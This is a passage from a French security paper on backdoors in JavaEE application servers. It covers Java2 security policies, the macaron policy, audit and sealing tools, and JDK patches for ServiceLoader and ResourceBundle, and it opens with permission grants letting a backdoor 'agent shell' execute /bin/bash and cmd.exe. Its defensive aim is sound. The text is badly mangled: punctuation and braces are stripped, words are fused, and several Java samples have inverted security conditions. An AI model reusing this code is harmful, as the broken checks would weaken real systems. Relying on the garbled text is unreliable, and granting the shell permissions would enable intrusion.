dis
pon
ible
Agen
tS
hel
l
javaioFilePermission
binbashexecute
javaioFilePermission
WINDOWSSytem32cmdexeexecute
javaioFilePermission
commandcomexecute
Agen
tp
rop
osa
nt
un
shel
l
426 Porte derobee dans les serveurs drsquoapplications JavaEE
Les serveurs drsquoapplications utilisent rarement la securite Java2 Pourquoi Lesdeveloppeurs nrsquoayant jamais teste ce mode ils ne connaissent pas les droits minimumsa ouvrir Dans le doute pour ne pas faire planter lrsquoapplication tous les privilegessont ouverts
Utiliser la securite Java2 complexifie lrsquoinstallation des composants car il fautmodifier un fichier global du serveur drsquoapplication (policy) Nous proposons plusbas une solution pour ameliorer cela
Tomcat propose un parametre de lancement pour utiliser la securite Java2
$ catalinash run -security
Il aurait ete preferable drsquoavoir la securite par defaut et un parametre pour lasupprimer
JBoss ne propose pas nativement la securite Java 2 Le wiki11 indique commentmodifier le script de lancement pour ajouter les droits Il nrsquoest pas possible drsquoindiquerdes droits differents pour chaque composant ou chaque archive Les droits a ouvrirsont globaux a tous les composants et toutes les archives des composants car ledeploiement srsquoeffectue par defaut dans un repertoire dont le nom est aleatoire Ainsisans modification du deploiement de JBoss la porte derobee est pratiquement toujourspossible En ouvrant un droit pour un composant evolue les privileges sont egalementdisponibles pour les injections
51 Utilisation de la securite Java2
Il est difficile de connaıtre precisement lrsquoensemble des privileges necessaires achaque archive Les projets nrsquoindiquent generalement pas cette information
Pour remedier a cela et faciliter la prise en compte de la securite Java2 coteserveur nous proposons a tous les projets drsquoutiliser la convention suivante
ndash Pour chaque archive un fichier META-INFjarpolicy doit etre propose Cedernier indique a titre informatif les privileges minimum necessaires a lrsquoutili-sation du composant La syntaxe de ce fichier est conforme aux specificationsJava 12 Les privileges doivent etre indiques a titre global sans signedBy oucodeBase
Par exemple le fichier suivant indique des privileges pour une archive specifique
grant
permission javautilloggingLoggingPermission
control
permission javautilPropertyPermission
11 httpwwwjbossorgcommunitydocsDOC-938012 httpjavasuncomj2se13docsguidesecurityPolicyFileshtml
P Prados 427
javaiotmpdirread
permission javaioFilePermission
ltltALL FILES gtgtread write
permission javaioFilePermission
$javaiotmpdir read write delete
Lrsquoutilitaire macaron-policy que nous proposons permet alors drsquoagreger tous lesprivileges necessaires a un composant WAR ou EAR pour produire un fichier deprivilege complet Vous le trouverez avec drsquoautres utilitaires ici httpmacarongooglecodecom Il est capable de prendre en entree un composant JavaEE un fichierpolicy deja present ou une log de JVM executee avec la variable drsquoenvironnement-Djavasecuritydebug=accessfailure
Sur le site une video presente egalement un cas drsquoutilisation de cet outil
De ces trois sources drsquoinformations le programme extrait les privileges necessaireset peut egalement modifier directement un fichier policy existant
$ macaron -policy --output MonComposantpolicy
MonComposantear
Le fichier produit doit etre adapte au contexte drsquoexecution avant drsquoetre inseredans le serveur drsquoapplications
Comme le fichier resultat est generalement dependant du serveur drsquoapplicationil est parfois difficile de decrire les privileges globalement dans une archive sansadherence a un serveur particulier Pour contourner cela des variables peuvent etreutilisees dans les fichiers META-INFjarpolicy
Lors de la generation du fichier de politique de securite il est possible de lesvaloriser pour les specialiser pour le serveur drsquoapplications cible Nous proposons lesconventions suivantes
Tab 1 Variables de politique de securite
Variable Description
$serverhome Repertoire racine du serveur drsquoapplications$serverlib Repertoire des librairies du serveur drsquoapplications$webappbase Repertoire de base de deploiement des composants$webapphome Repertoire de deploiement du composant
Ainsi une archive desirant avoir un acces en ecriture dans le repertoire log durepertoire de deploiement du composant doit indiquer dans le fichier jarpolicy leprivilege suivant
428 Porte derobee dans les serveurs drsquoapplications JavaEE
grant
permission javaioFilePermission $webapphomelogread write
Lors de lrsquoexecution de lrsquoutilitaire les variables peuvent etre valorisees soit directe-ment par la ligne de commande (parametre -D classique) soit en indiquant un ouplusieurs fichiers de proprietes (parametre -P) Les variables non valorisees restentdisponibles Conformement aux specifications des fichiers policy elles devront etrevalorisees lors du lancement de la machine virtuelle par des variables systemes
Le fichier de propriete pour Tomcat est le suivant
serverhome=$catalinahome
serverlib=$catalinahome serverlib
webappsbase=file$catalinabase webapps
webappshome=$webappsbase$basename
La variable $basename est la seule inconnue de Tomcat Il faut la valoriser pourlrsquoadapter au nom du repertoire servant a deployer le composant Par defaut cettevariable est valorisee avec le nom du composant lui-meme mais cela peut etre modifieen ligne de commande
$ macaron -policy -P tomcatproperties
-Dbasename=sample
Vous pouvez egalement choisir de laisser cette variable en etat et la valoriser lorsdu lancement de la JVM du serveur drsquoapplication
$ macaron -policy -P tomcatproperties
-Dbasename=$basename
$ export JAVA_OPTS=- Dbasename=sample
$ $TOMCAT_HOMEbincatalinash run -security
Une invocation de lrsquooutil pour Tomcat ressemble lsquoa ceci
$ macaron -policy --output MonComposantpolicy
-P tomcatproperties MonComposantear
Le fichier produit peut avoir deux formes Il declare des privileges pour chaquearchive (recommande)
Privileges separes
grant codebase file$catalinabase webappsMonComposantWEB -INFlibl1jar
permission javautilloggingLoggingPermission control
permission javaioFilePermission -read write
grant codebase file$catalinabase webappsMonComposantWEB -INFlibl2jar
permission javautilPropertyPermission javaiotmpdirread
permission javaioFilePermission $javaiotmpdir read write delete
P Prados 429
ou tous les privileges globalement (parametre --merge )
Privileges globaux
grant
permission javautilloggingLoggingPermission control
permission javaioFilePermission -read write
permission javautilPropertyPermission javaiotmpdirread
permission javaioFilePermission $javaiotmpdir read write delete
Cela permet de traiter les serveurs drsquoapplications nrsquoetant pas capable de definirfinement les privileges JBoss par exemple utilise par defaut un repertoire aleatoirepour le deploiement Il est possible de supprimer cette fonctionnalite
La variable $prefix est utilisee en introduction du codebase avant le nomde lrsquoarchive Elle est valorisee par defaut a $webappshome pour repondre auxcomposants JavaEE En la modifiant il est possible drsquoexploiter les privileges pourdrsquoautres contextes drsquoexecutions une application Swing par exemple
Comme la plupart des archives nrsquoindiquent pas les privileges dont elles ont besoinet qursquoil est difficile de les identifier a priori nous proposons une base de donneecollaborative13 pour permettre a chacun de lrsquoalimenter
Lrsquoutilitaire recherche le fichier META-INFjarpolicy dans chaque composantSrsquoil ne le trouve pas une requete est envoyee a la base de donnee pour recuperer laderniere version des privileges publies Si le composant nrsquoest pas present dans la basede donnees le programme lrsquoignore et ne genere pas de privilege pour ce composant Sipar la suite vous souhaitez faire enregistrer les privileges identifies sur un composantparticulier inscrivez-vous sur le site et partagez votre decouverte
Vous pouvez construire votre propre base de donnees La variable drsquoenvironnementPOLICY DATABASE ou le parametre --database permettent drsquoindiquer le format delrsquoURL a utiliser La chaine de caracteres est convertie en nom de lrsquoarchive avantlrsquoinvocation
Les exemples suivants sont des URLs de base de politique valides ndash httplocalhostpolicyparam=
ndash httpslocalhost
ndash filedatabasepolicypolicy
ndash policypolicy
Une base dans un repertoire local peut donc etre utilisee aussi facilement qursquounebase distante sur HTTP ou HTTPS Il suffit drsquoavoir des fichiers comme spring-core-
-255jarpolicy avec les privileges necessaires dans le repertoire databasepolicyCela permet drsquoutiliser des privileges normalises au sein de lrsquoentreprise
13 httpmacaron-policygooglecodecom
430 Porte derobee dans les serveurs drsquoapplications JavaEE
Lrsquoutilitaire lui-meme respecte les conventions proposees Lrsquoarchive policy-jar
possede un fichier META-INFjarpolicy A titre de demonstration nous pouvonsappliquer lrsquoutilitaire a lui-meme
$ macaron -policy --merge --output securitypolicy
$MACARON_HOMElibpolicy -jar
Cette commande demande la generation drsquoun fichier securitypolicy avec tousles privileges declares dans le fichier META-INFjarpolicy presents dans lrsquoarchivepolicy-jar Nous souhaitons que les privileges soient declares globalement Nouspouvons immediatement utiliser le resultat pour relancer lrsquoutilitaire mais cette foisavec la securite Java2 activee
$ JAVA_OPT=-Djavasecuritymanager
-Djavasecuritypolicy=securitypolicy
macaron -policy --output -
$MACARON_HOMElibpolicy -jar
Les privileges demandes sont les suivants
grant
permission javautilloggingLoggingPermission control
permission javautilPropertyPermission
javaiotmpdirread
permission javaioFilePermission
ltltALL FILES gtgtread write
permission javaioFilePermission
$javaiotmpdir read write delete
permission javanetSocketPermission
80 connect resolve
permission javanetSocketPermission
443 connect resolve
permission javalangRuntimePermission
getenvPOLICY_DATABASE
Ils sont parfaitement conformes aux fonctionnalites de lrsquooutilPour enrichir un fichier existant il suffit de lrsquoindiquer dans le parametre --policy
Ainsi pour injecter directement les privileges dans le fichier de Tomcat vous pouvezutiliser la commande suivante
$ macaron -policy
--policy $CATALINA_HOMEconfcatalinapolicy
MonComposantwar
Les privileges extraits ne sont generalement pas suffisants Ils constituent unpremier jet a enrichir avec le contexte drsquoexecution Par exemple vous ne trouverezpas de privileges pour les connections reseaux dans les fichiers jarpolicy
P Prados 431
Pour identifier les problemes de securite ajoutez -Djavasecuritydebug=access-failure dans la ligne de commande de la JVM cela trace toutes les invocations Levolume de logs etant important il est preferable drsquoinjecter le resultat dans un fichier
$ export JAVA_OPTS=-Djavasecuritydebug=access failure
$ $CATALINA_HOMEbincatalinash run
-security gtaccesslog 2gtamp1
La trace produite par la JVM lors de la presence du parametre javasecuritydebugnrsquoest pas tres lisible Elle est tres volumineuse et melange les privileges accordes desprivileges refuses
Il est possible de ne tracer qursquoun type de privilege limitant ainsi le volume destraces
-Djavasecuritydebug=access failure permission=javalangRuntimePermission
Ou bien de ne tracer que les privileges necessaires a un composant particulier
-Djavasecuritydebug =
access failure codebase =
file$TOMCAT_HOMEwebappssample
Un parametre de lrsquooutil macaron-policy permet une analyse des traces produiteslors de lrsquoutilisation de la variable javasecuritydebug
macaron -policy --accesslog accesslog
Cela permet drsquoinjecter les dernieres erreurs detectees lors de lrsquoabsence drsquounprivilege
$ macaron -policy
--accesslog accesslog
--policy $CATALINA_HOMEconfcatalinapolicy
$CATALINA_HOMEwebappsMonComposantwar
Comme les erreurs presentes dans les logs utilisent des codeBase sans variable leresultat produit nrsquoest pas exactement celui attendu dans le fichier catalinapolicyPour corriger cela lrsquooutil est capable de faire une analyse inverse de variable Crsquoest adire qursquoil detecte dans le codeBase srsquoil nrsquoexiste pas une valeur correspondant a unevariable Si crsquoest le cas il la remplace par le nom de la variable Pour cela il fautdeclarer des variables inverses a lrsquoaide du parametre -I
$ macaron -policy
--accesslog accesslog
-Icatalinabase=$CATALINA_HOME
--policy $CATALINA_HOMEconfcatalinapolicy
MonComposantwar
432 Porte derobee dans les serveurs drsquoapplications JavaEE
Ainsi le fichier catalinapolicy est automatiquement mis a jour avec les derniersprivileges refuses a lrsquoapplication lors de la derniere execution
Pour identifier tous les privileges il faut alors proceder par iteration Cela estfastidieux mais grandement facilite par lrsquooutil macaron-policy
Tant qursquoil y a encore des privileges a ajouterndash Lancer le serveur drsquoapplication avec les logs drsquoacces actifs ndash Verifier lrsquoapplication jusqursquoa trouver un refus de privilege ndash Arreter le serveur drsquoapplications ndash Injecter les privileges manquant dans le fichier policy ndash RecommencerCela donne dans le cas de Tomcat le scenario suivant
$ export
JAVA_OPTS=-Djavasecuritydebug=access failure
$ while [ true ] do
echo -n ltCtrl -Cgt or ltCRgt to analyse and launch tomcat read
macaron -policy
-P tomcatproperties
--policy $CATALINA_HOMEconfcatalinapolicy
--accesslog accesslog
-Icatalinabase=$CATALINA_HOME $CATALINA_HOMEwebappsmyappwar
echo launch tomcat
$CATALINA_HOMEbincatalinash run -security gtaccesslog 2gtamp1
done
Il est egalement possible drsquoinitialiser une base de donnees locale Le resultatproduit doit etre repris a la main pour regrouper des privileges inserer des variablesqualifier veritablement les privileges en supprimer certains etc Le resultat ne devraiten aucun cas etre exploite tel quel Pour cela il faut ajouter le parametre --extract
en indiquant le prefixe des codeBase a extraire et indiquer le repertoire de destinationdans le parametre --output Par exemple pour extraire tous les privileges calculeesextraits drsquoune trace ou recuperes dans un fichier policy il faut proceder ainsi
$ macaron -policy
--loglevel info
--extract
--output mypolicydatabase
--policy $CATALINA_HOMEconfcatalinapolicy
Grace a cet outil il est beaucoup plus facile de produire le fichier de synthese desprivileges et drsquoutiliser la securite Java2 Bien entendu le fichier resultat doit etreconsulte avec attention avant sa mise en production Lrsquooutillage propose facilite sageneration Il ne garantit pas une securite optimum
Chaque projet peut utiliser plus ou moins de fonctionnalite drsquoun composant Lesprivileges presents dans les fichiers jarpolicy ou la base de donnees sont necessaires
P Prados 433
a lrsquoensemble des fonctionnalites Il est possible de supprimer des privileges srsquoils nesont pas exploites dans lrsquoapplication
Par mesure de securite le privilege javasecurityAllPermission nrsquoest pasautorise dans les fichiers sauf demande explicite en ligne de commande Utilisez leparametre --help pour avoir plus drsquoinformations
$ macaron -policy --help
52 Signature numerique
Une alternative consiste a signer numeriquement les archives lorsqursquoil est garantieqursquoelles sont saines Un couple de clef privepublic est utilise pour signer les archivesdont lrsquoentreprise a appliquer tous les outils de qualification comme lrsquooutil macaron-auditdecrit ci-dessous La clef privee est utilisee pour signer les archives avant de lespublier dans le repository de lrsquoentreprise Tous les privileges ou seulement certainspeuvent alors etre accordes globalement
grant codebase foocom Signedby foo
Principal comsunsecurityauthSolarisPrincipal duke
permission javasecurityAllPermission
Il est preferable de nrsquoaccorder que les privileges necessaires a chaque composant
53 Defense passive
Lors de lrsquoanalyse drsquoun composant JavaEE differents symptomes peuvent eveillerles soupcons
ndash La presence de packages de meme nom dans des archives differentes ndash La presence de fichiers de meme nom avec des extensions differentes dans les
memes packages ndash La presence de fichiers de meme nom dans des packages differents ndash La presence de fichiers dans META-INFservices ndash La presence de certaines annotationsNous proposons un outil drsquoaudit de composants Vous le trouverez avec drsquoautres
utilitaires ici httpmacarongooglecodecom Ce dernier prend en parametredes composants JavaEE des repertoires etou des archives Il analyse lrsquoensemble pourdetecter les pieges
Un fichier au format XML permet de synthetiser les resultats
$ macaron -audit --output auditxml MonComposantear
$ firefox auditxml
434 Porte derobee dans les serveurs drsquoapplications JavaEE
Le rapport XML est consultable dans un navigateur grace a une feuille de stylespecifique permettant la navigation dans les resultats
Fig 14 Audit
Grace a la feuille de style lrsquoimpression de cette page presente tous les resultatsLrsquoexperience montre qursquoil y a effectivement des classes similaires dans plusieurs
archives differentes du meme projet des noms de fichiers identiques present a differentsendroits etc
ltpackages gt
ltpackage
name=orgaspectjinternallangannotationgt
ltcontext gtaspectjweaver -161 jarltcontext gt
ltcontext gtaspectjrt -160 jarltcontext gt
ltpackage gt
ltpackages gt
Pour eviter les faux positifs un parametre permet drsquoindiquer des regles drsquoexclusionsComme le format du fichier des regles drsquoexclusions est strictement identique au fichierde resultat drsquoune analyse il est possible drsquoeffectuer un premier tir sur une instancede confiance ou limitees aux archives saines du projet et drsquoutiliser le resultat pour lestirs suivant Ainsi seules les nouvelles alertes seront exposees
$ macaron -audit --output ignorexml MonComposantear
$ macaron -audit --ignore ignorexml
-output auditxml
MonComposantear
P Prados 435
Certains fichiers sont presents en nombre dans les archives Ils peuvent etre exclusglobalement
ltfilenames gt
ltfilename name=MANIFESTMF gt
ltfilename name=INDEXLIST gt
ltfilename name=packagehtml gt
ltfilenames gt
Cette approche presente le risque de cacher une attaque eventuelle car les exclusionsne sont pas associees a des archives specifiques
Il est preferable de selectionner judicieusement les archives a utiliser dans leprojet pour eviter les faux-positifs Par exemple avec Maven il est possible drsquoexclurecertaines dependances malheureuses
ltdependency gt
ltgroupId gtorgspringframework ltgroupId gt
ltartifactId gtspring -aspects ltartifactId gt
ltversion gt255ltversion gt
ltexclusions gt
ltexclusion gt
ltgroupId gtorgaspectj ltgroupId gt
ltartifactId gtaspectjrt ltartifactId gt
ltexclusion gt
ltexclusions gt
ltdependency gt
Les dependances declarees entrainent la presence de packages identiques dansdeux archives differentes Lrsquoune est incluse dans lrsquoautre Il est preferable de supprimerdu projet lrsquoarchive aspectjrt que drsquoajouter des exceptions dans le fichier ignorexml
Lrsquooutil drsquoaudit permet de se focaliser sur les differents pieges possibles mais passur les techniques drsquoinjections de code lors de lrsquoanalyse drsquoune requete HTTP Celadoit etre controle par lrsquoutilisation de la securite Java2
54 Defense active
Pour eviter le risque de surcharge de classe ou le contournement des privilegesaccordes aux packages Java propose deux mecanismes14
Le premier permet drsquointerdire la consultation ou lrsquoajout de classes dans certainspackages (les packages java et sun par exemple) Ce mecanisme est mis en placepar la valorisation de deux variables drsquoenvironnement systeme de la JVM (pack-agedefinition et packageaccess) Tomcat utilise cela pour proteger les classes duserveur drsquoapplication vis a vis des classes des composants applicatifs (voir le fichiercatalinaproperties)
14 httpjavasuncomdeveloperJDCTechTips2001tt0130html
436 Porte derobee dans les serveurs drsquoapplications JavaEE
Le deuxieme mecanisme permet drsquointerdire a des classes drsquoun meme package drsquoetrepresentes dans des archives differentes Cela srsquoeffectue par un parametre dans lefichier MANIFESTMF Si ce dernier possede le parametre Sealed true tous lespackages de lrsquoarchive sont proteges Il est egalement possible de sceller les packagesindividuellement15 Ces verifications ne sont effectuees que si la securite Java2 estactivee
En placant les fichiers properties dans les memes repertoires que les classes duprojet (ce qui est fortement conseille) il nrsquoest plus possible drsquoajouter une classe pourdetourner le flux de traitement lors de la consultation drsquoun ResourceBundle
Si les fichiers properties sont dans des repertoires sans aucune classe il ne serta rien de les sceller Le scellement ne concerne que les classes
Pour sceller une archive avec Maven2 il faut ajouter dans le fichier pomxml lesinstructions suivantes
ltbuildgt
ltplugins gt
ltplugin gt
ltartifactId gtmaven -jar -plugin ltartifactId gt
ltconfiguration gt
ltarchive gt
ltmanifestEntries gt
ltSealed gttrueltSealed gt
ltmanifestEntries gt
ltarchive gt
ltconfiguration gt
ltplugin gt
ltplugins gt
ltbuildgt
Comme la tres grande majorite des archives Open Source ne sont pas scellees ilfaut les modifier pour ajouter les protections necessaires Une etude sur pres de millecomposants montre que moins drsquoun pour-mille est scelle etou signe
Nous proposons un utilitaire srsquooccupant drsquoajouter lrsquoattribut Sealed true a tousles composants et toutes les librairies (httpmacarongooglecodecom)
$ macaron -seal --in -place MonComposantear
Cette commande scelle tous les packages de toutes les archives du composantLes fichiers META-INFMF des librairies presentes dans le repertoire WEB-INFlib desfichiers war et les librairies des EJBs sont modifies pour sceller tous les packages
Pour plus drsquoinformations invoquez lrsquoaide
$ macaron -seal --help
15 httpjavasuncomj2se13docsguideextensionsspechtmlsealing
P Prados 437
Il est possible drsquoappliquer recursivement ce scellement a un referentiel MavenIl faut alors adapter en meme temps les hashs SHA1 srsquoils sont presents Ces hashspeuvent etre verifies lors du telechargement drsquoun composant dans le cache local
$ macaron -seal --in -place --sha1 -R m2repository
De meme pour un repository Ivy
$ macaron -seal --in -place -R ivy2cache
Le resultat drsquoun audit precedant peut servir a exclure des packages du processusAinsi il est facile de renforcer une instance du serveur Tomcat par exemple endemandant un audit du code puis en scellant les packages ne presentant pas deproblemes
$ macaron -audit --output audit -tomcatxml
-R $CATALINA_HOME
$ macaron -seal --ignore audit -tomcatxml
-R $CATALINA_HOME --in -place
Ces deux commandes peuvent srsquoeffectuer en une seule fois a lrsquoaide de pipe
$ macaron -audit --output - -R $CATALINA_HOME |
macaron -seal --ignore - -R $CATALINA_HOME --in-place
La version de Tomcat durcie possede des archives scellees sauf pour les quelquespackages partages par differentes archives Lors de lrsquoutilisation de la securite Java2elle est plus resistante aux pieges
$ $CATALINA_HOMEbincatalinash run -security
Cette approche interdit une partie des injections de code de type ResourceBundleLes ResourcesBundles presents dans des repertoires ou il nrsquoy a pas drsquoautres classessont toujours vulnerables
Il est egalement possible drsquoavoir un audit signalant les packages scelles Le resultatest un fichier XML avec une feuille de style XSLT pour une consultation dans unnavigateur
$ macaron -seal --audit sealedxml MonComposantwar
$ firefox sealedxml
438 Porte derobee dans les serveurs drsquoapplications JavaEE
55 Reduction du risque des META-INFservices
La securite Java2 permet drsquoautoriser des classes a effectuer certains traitementsElle permet egalement de determiner les privileges drsquoune classe avant son utilisation
Pour reduire le risque drsquoune utilisation malveillante de services nous proposonsdrsquoapporter quelques modifications a la classe javautilServiceLoader du JDK6 etsuivant
Cette classe normalise lrsquoutilisation des services et propose une API pour recuperertoutes les implementations drsquoune interface
Lrsquoimplementation actuelle ne verifie aucun privilege pour lrsquoinstallation drsquoun nou-veau service Nous proposons drsquoajouter la classe javautilServicePermission et drsquoa-jouter la verification du privilege associe lors de lrsquoinstallation drsquoun nouveau servicedans la classe ServiceLoader
if (SystemgetSecurityManager ()=null)
final Permission perm=
new ServicePermission(servicegetName ())
AccessControllerdoPrivileged(
new PrivilegedAction ltObject gt()
public Object run()
if (clazzgetProtectionDomain ()implies(perm))
throw new AccessControlException(
install service denied perm perm)
return null
)
Lrsquoajout de ce test permet de srsquoassurer que lrsquoarchive proposant drsquoajouter un nouveauservice en a le privilege Seul le CodeBase implementant le service doit posseder leprivilege Lrsquoappelant du service nrsquoen a pas besoin
Un patch en ce sens est propose a la communaute Ce dernier modifie egalement lesclasses des packages javaxxml et orgw3c pour qursquoelles utilisent ServiceLoader
De nombreuses autres classes du JDK utilisent le mecanisme de services sansutiliser la classe ServiceLoader Elles sont toujours vulnerables Il srsquoagit des classesdes packages suivants
ndash comsunndash orgrelaxingdatatype
ndash sunmisc
P Prados 439
Il faut egalement proceder de meme pour les classes de JavaEE Un diffstat surles modifications indique lrsquoetendue de la mise a jour et les classes impactees
j2sesrc javautilServiceLoaderjava | 42 +-
j2sesrc javautilServicePermissionjava | 74 ++++
j2sesrc javaxxmlbindContextFinderjava | 66 ---
j2sesrc javaxxmldatatypeFactoryFinderjava | 85 ----
j2sesrc javaxxmlparsersDocumentBuilderFactoryjava | 12
j2sesrc javaxxmlparsersFactoryFinderjava | 94 -----
j2sesrc javaxxmlparsersSAXParserFactoryjava | 17
j2sesrc javaxxmlsoapFactoryFinderjava | 39 --
j2sesrc javaxxmlstreamFactoryFinderjava | 84 ----
j2sesrc javaxxmltransformFactoryFinderjava | 86 ----
j2sesrc javaxxmlvalidationSchemaFactoryFinderjava | 36 +
j2sesrc javaxxmlwsspiFactoryFinderjava | 56 +--
j2sesrc javaxxmlxpathXPathFactoryFinderjava | 182 +---------
j2sesrc orgw3cdombootstrapDOMImplementationRegistryjava | 45 --
15 files changed 283 insertions (+) 646 deletions(-)
Ainsi pour pouvoir installer un nouveau service il faut avoir declare le privilegecorrespondant dans le projet
grant
permission javautilServicePermission
javaxxmlparsersSAXParserFactory
En attendant lrsquointegration de la modification dans le JDK il faut ajouter unparametre au chargement de la machine virtuelle
$ java -Xbootclasspathppatch -ServiceLocator -6jar
Une approche similaire est envisageable pour le JDK5 mais nrsquoa pas ete implementeecar la classe ServiceLoader nrsquoest pas presente
Si vous ne souhaitez pas utiliser le patch indiquez en variable systeme tous lesanalyseurs utilises
-DjavaxxmlparsersSAXParserFactory =
comsunorgapachexercesinternaljaxpSAXParserFactoryImpl
-DjavaxxmlparsersDocumentBuilderFactory =
comsunorgapachexercesinternaljaxpDocumentBuilderFactoryImpl
De plus pour eviter toute ambiguıte Tomcat 6x devrait etre modifie pour utiliserle parseur XML du serveur drsquoapplication lors de lrsquoanalyse des fichiers TLDs a laplace du parseur livre par le composant WEB Cela a ete signale (CVE-2009-0911)par nos soins et sera pris en compte dans une prochaine version de Tomcat
440 Porte derobee dans les serveurs drsquoapplications JavaEE
56 Reduction du risque des ResourcesBundles
Pour reduire le risque drsquoexecution invisible de code lors de lrsquoutilisation desressources il faut modifier lrsquoalgorithme de resolution des ResourcesBundles
Fig 15 Nouveau RessourceBundle
La nouvelle version de lrsquoalgorithme recherche en priorite les fichiers propertiesavant de rechercher les classes Si un seul fichier properties existe les classes ne sontpas recherchees Cette legere modification de la semantique doit etre pratiquementinvisible Malgre nos recherches nous nrsquoavons jamais rencontre de situation ou unfichier properties doit legitimement etre surcharge par une classe
Il est possible drsquoavoir un apercu des impacts en consultant le resultat de cette page httpwwwgooglecomcodesearchq=extends+PropertyResourceBundle+lang
3Ajava
Nous proposons un correctif de la classe ResourceBundle pour le JDK5 Lrsquoarchivepatch-ResourceBundle-5jar propose une modification de la classe standard deJava Pour lrsquoutiliser il faut ajouter un parametre au chargement de la machinevirtuelle
$ java -Xbootclasspathppatch -ResourceBundle -5 jar
Le JDK6 offre de nouvelles fonctionnalites pour lrsquoutilisation des RessourcesBundlesvia une refonte totale de cette classe En outre il est possible de specifier un objet encharge de gerer le chargement des ressources Nous proposons le singleton suivantpermettant drsquoordonner le chargement des ressources
static final ResourceBundleControl securityControl =
new ResourceBundleControl ()
private ConcurrentHashMap ltString String gt
cacheType=
new ConcurrentHashMap ltString String gt()
public List ltString gt getFormats(String baseName)
return CollectionsunmodifiableList(
P Prados 441
ArraysasList(securityorder))
public ResourceBundle newBundle(String baseName
Locale locale
String format ClassLoader loader
boolean reload)
throws IllegalAccessException
InstantiationException IOException
ResourceBundle bundle=null
if (formatequals(securityorder))
String lastFormat=cacheTypeget(baseName)
if (lastFormat ==null)
bundle=supernewBundle(baseName locale
javaproperties
loader reload)
if (bundle =null)
cacheTypeput(baseName javaproperties)
else
cacheTypeput(baseName javaclass)
bundle=supernewBundle(baseName locale
javaclass
loader reload)
else
bundle=supernewBundle(baseName locale
lastFormat
loader reload)
return bundle
public boolean needsReload(String baseName
Locale locale
String format
ClassLoader loader
ResourceBundle bundle
long loadTime)
boolean result=
superneedsReload(baseName locale
format loader bundle loadTime)
if (result)
cacheTyperemove(baseName)
return result
Il doit etre utilise a chaque invocation de RessourceBundle
442 Porte derobee dans les serveurs drsquoapplications JavaEE
ResourceBundlegetBundle(Messages securityControl)getString(key)
Comme cette approche nrsquoest pas utilisee systematiquement par les projets ilest preferable drsquoenvisager un patch du JDK6 Lrsquoarchive patch-ResourceBundle-6jarpropose une modification de la classe standard de Java Les modifications sontminimes
Un diffstat indique lrsquoetendu des modifications
ResourceBundlejava | 108 +++++++++++++++++++++++++++-------------------------
1 file changed 58 insertions (+) 50 deletions(-)
Lrsquoalgorithme recherche une ressource format par format et non tous les formatsa la fois Lrsquoordre par defaut des formats est egalement modifie pour privilegier leformat javaproperties avant le format javaclass Pour utiliser le patch il faut ajouterun parametre au chargement de la machine virtuelle
$ java -Xbootclasspathppatch -ResourceBundle -6 jar
Si un utilisateur souhaite melanger des ressources au format properties et desressources au format class il doit nrsquoutiliser que le format class et simuler alors leformat properties
mv sampleproperties sampleprop
public static class sample extends PropertyResourceBundle
public sample () throws IOException
super(sampleclassgetResourceAsStream(
rsquorsquo+sampleclassgetName ()
replace(rsquorsquorsquorsquo)+prop))
6 Conseils pour se proteger
Voici quelques regles de bonnes pratiques pour se proteger autant que possibledes portes derobees generiques
Le premier conseil est drsquoexecuter le serveur drsquoapplications avec la securite Java2activee Il faut ouvrir les privileges pour chaque archive une a une et non globalementpour le composant Ainsi un droit offert a un framework nrsquoest pas disponible pour laporte derobee presente dans une autre archive
P Prados 443
Malheureusement les frameworks indiquent rarement les privileges necessairesSeul un test permet drsquoouvrir au fur et a mesure lrsquoensemble des droits necessaireset uniquement ceux-ci Crsquoest un processus long et complexe car les erreurs lors delrsquoabsence drsquoun privilege ne sont pas toujours explicites Il faut effectuer un test completde lrsquoapplication pour verifier qursquoaucun privilege nrsquoait ete oublie En demandant latrace de tous les privileges refuses il est envisageable de les synthetiser plus facilement
$ export JAVA_OPTS=-Djavasecuritydebug=access failure
$ $CATALINA_HOMEbincatalinash run -security 2gtamp1 | grep ^ access
Les logs indiquent les privileges accordes mais sont difficiles a interpreter
access access allowed (javalangRuntimePermission accessDeclaredMembers)
access access allowed(javaioFilePermissionwebappsbackdoorjee -sample
WEB -INFclassesorgspringframeworkwebservletmvcannotationAnnotation
MethodHandlerAdapterBeanInfoclass read)access access denied (javalang
RuntimePermission defineClassInPackagejavalang)
Pour faciliter cette etape nous proposons une base de donnees des privilegesnecessaires aux composants16 Nous comptons sur les lecteurs pour lrsquoenrichir
Le deuxieme conseil important Ne faites pas confiance aux referentiels Uneattaque sur le referentiel Mavenx par exemple et tous vos projets possedent des portesderobees generiques
Pour srsquoassurer de la bonne sante des composants a deployer effectuez un audit deces derniers et cherchez des explications convaincantes pour toutes les alertes avantde les declarer comme des laquo faux positifs raquo
Enfin testez lrsquoutilisation de la porte derobee de demonstration dans votre projet Ilsuffit drsquoajouter une archive Il nrsquoest pas necessaire de modifier le code de lrsquoapplicationSi les traces du serveur drsquoapplications signalent la reussite de lrsquoinjection modifiezvotre configuration
La securite Java2 nrsquoest pas toujours suffisante Un detournement de la puissancedes frameworks modernes permet egalement de prendre la main sur lrsquoapplicationsans necessiter de privileges Assurez-vous de maitriser tous les risques inherents alrsquoutilisation de ces derniers (Spring AOP etc)
Drsquoautre part pour proteger un attribut contre toute modification meme sans lasecurite Java2 il faut le declarer final Cela devrait etre utilise pour les Singletons etpour tous les attributs sensibles Evitez autant que possible les Singletons drsquoautantplus si la securite Java2 nrsquoest pas active
Nrsquoutilisez jamais de ResourceBundle dans un code privilegie ( AccessControllerdoPrivileged() )Pour se proteger de lrsquoinjection drsquoun analyseur XML il faut demarrer la JVM en
ajoutant des parametres permettant drsquoeviter la selection dynamique de lrsquoimplementation
16 httpmacaron-policygooglecodecom
444 Porte derobee dans les serveurs drsquoapplications JavaEE
-DjavaxxmlparsersSAXParserFactory =
comsunorgapachexercesinternaljaxpSAXParserFactoryImpl
-DjavaxxmlparsersDocumentBuilderFactory =
comsunorgapachexercesinternaljaxpDocumentBuilderFactoryImpl
Il est preferable drsquoutiliser les patchs proposes
Vous nrsquoetes pas oblige de faire confiance aux prestataires de services ou aux SSIIVous devez imposer lrsquoutilisation de la securite Java2 des les phases de developpementSinon la tache de qualification des privileges sera trop importante et le prestatairearrivera a vous convaincre de supprimer la securite
Utilisez egalement les mecanismes proposes par le systeme drsquoexploitation pourreduire les risques Par exemple lrsquoutilisateur en charge du lancement du serveurdrsquoapplication ne doit pas avoir de droit en ecriture sur les repertoires de ce derniersauf pour les repertoires de travail
7 Scenario du pire
Au vue de toutes ces attaques nous pouvons imaginer un scenario credible quiest a notre avis le plus discret possible
